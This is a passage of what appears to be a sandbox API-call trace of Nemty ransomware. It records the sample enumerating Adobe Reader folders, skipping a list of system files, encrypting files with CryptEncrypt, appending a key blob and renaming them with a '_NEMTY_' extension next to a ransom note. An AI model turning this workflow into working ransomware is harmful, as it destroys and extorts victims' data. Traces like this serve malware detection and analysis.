[0184.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.162] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=37123, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9103 [0184.162] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0184.162] CloseHandle (hObject=0x2f0) returned 1 [0184.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0184.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0184.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0184.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0184.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.162] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.163] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0184.163] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0184.164] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0184.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0184.164] Sleep (dwMilliseconds=0x5) [0184.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x216bedf0, dwHighDateTime=0x1d561e8)) [0184.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x216bedf0, dwHighDateTime=0x1d561e8)) [0184.173] GetLastError () returned 0x0 [0184.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.173] GetLastError () returned 0x0 [0184.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.174] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0184.175] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0184.175] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0184.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0184.175] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="uIzpGFhqsYKXMg58vYBf5kzyjNj9lLiJ5x5bQ89picyfmTj88Akq5sVuv6NDuU4B\r\nybtLrYotVBqBq5VrMQMCcRqnnV2SjFzkKIKt7tHcVckcJxpyuYMmgYAmmYg9ytox\r\nCMFtVDOnaQzQNN3z2rMH2MsMSnqyEX31DOtXClq1lGRnGSjU2t3/bkU3uopZZzgW\r\nTEOW1sdf88kWS3OELj7hmCGXyM8pyFIelGj6DPUc2i0ejbqq580yfRQrXlhcvHF0\r\n6HD63o2nmnt7JhCVhiAvbKpM/AsE6Mgnhq3BSpIBhfFBj7n6LZ+OHiBPstLoDy90\r\n6u50L9mSpo7qpa+ZDOtiTA==\r\n", pcchString=0x653e29c) returned 1 [0184.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0184.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0184.175] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=233) returned 1 [0184.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0184.175] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.175] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0184.177] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.177] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0184.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.177] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0184.177] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0184.177] CloseHandle (hObject=0x2f0) returned 1 [0184.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0184.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0184.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0184.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0184.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.177] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0184.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0184.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.181] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21672b30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21672b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21672b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0184.181] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0184.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0184.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.182] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21672b30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21672b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21672b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0184.182] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.182] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.SLV", cAlternateFileName="")) returned 1 [0184.182] lstrcmpiW (lpString1="Spelling.SLV", lpString2=".") returned 1 [0184.182] lstrcmpiW (lpString1="Spelling.SLV", lpString2="..") returned 1 [0184.182] lstrcmpiW (lpString1="Spelling.SLV", lpString2="...") returned 1 [0184.182] lstrcmpiW (lpString1="Spelling.SLV", lpString2="windows") returned -1 [0184.182] lstrcmpiW 